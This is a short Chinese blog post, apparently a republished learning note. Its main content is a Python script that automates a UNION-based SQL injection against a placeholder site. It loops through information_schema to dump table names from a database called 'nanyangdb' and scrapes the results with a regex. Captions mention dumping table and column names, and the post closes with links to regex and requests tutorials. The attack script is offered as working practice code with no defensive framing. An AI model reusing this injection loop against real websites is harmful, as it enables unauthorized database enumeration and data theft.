sql到python正则

时间:2019-08-21
本文章向大家介绍sql到python正则,主要包括sql到python正则使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
import urllib.request
import re,time
for i in range(101):
    urls ="http://xxx.com/-1%20union%20select%201,(select%20table_name%20from%20information_schema.tables%20where%20table_schema='nanyangdb'%20limit%20"
    urls1 ="%d,1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29.html"%i
    url=urls+urls1
    f = urllib.request.urlopen(url) 
    content = f.read().decode('utf8')
    pattern = re.compile(r'<div class="biaoti02_01">.*?<span>',re.S)
    basic_content = re.finditer(pattern,content)
    for j  in basic_content:
        print(j)
    time.sleep(0.5)

运行截图爆表名

爆列名

目前正则还在学习中 打印结果丑陋

学习资料 https://www.cnblogs.com/smxiazi/articles/9743318.html

正则学习 https://www.runoob.com/python/python-reg-expressions.html

python request 学习 https://blog.csdn.net/qq_37616069/article/details/80376776

https://blog.csdn.net/wukong_666/article/details/84146738

对象报错解决办法 https://blog.csdn.net/w926498/article/details/80579520

切记 学习之路 少就是多慢就是快  ~

原文地址:https://www.cnblogs.com/-zhong/p/11388769.html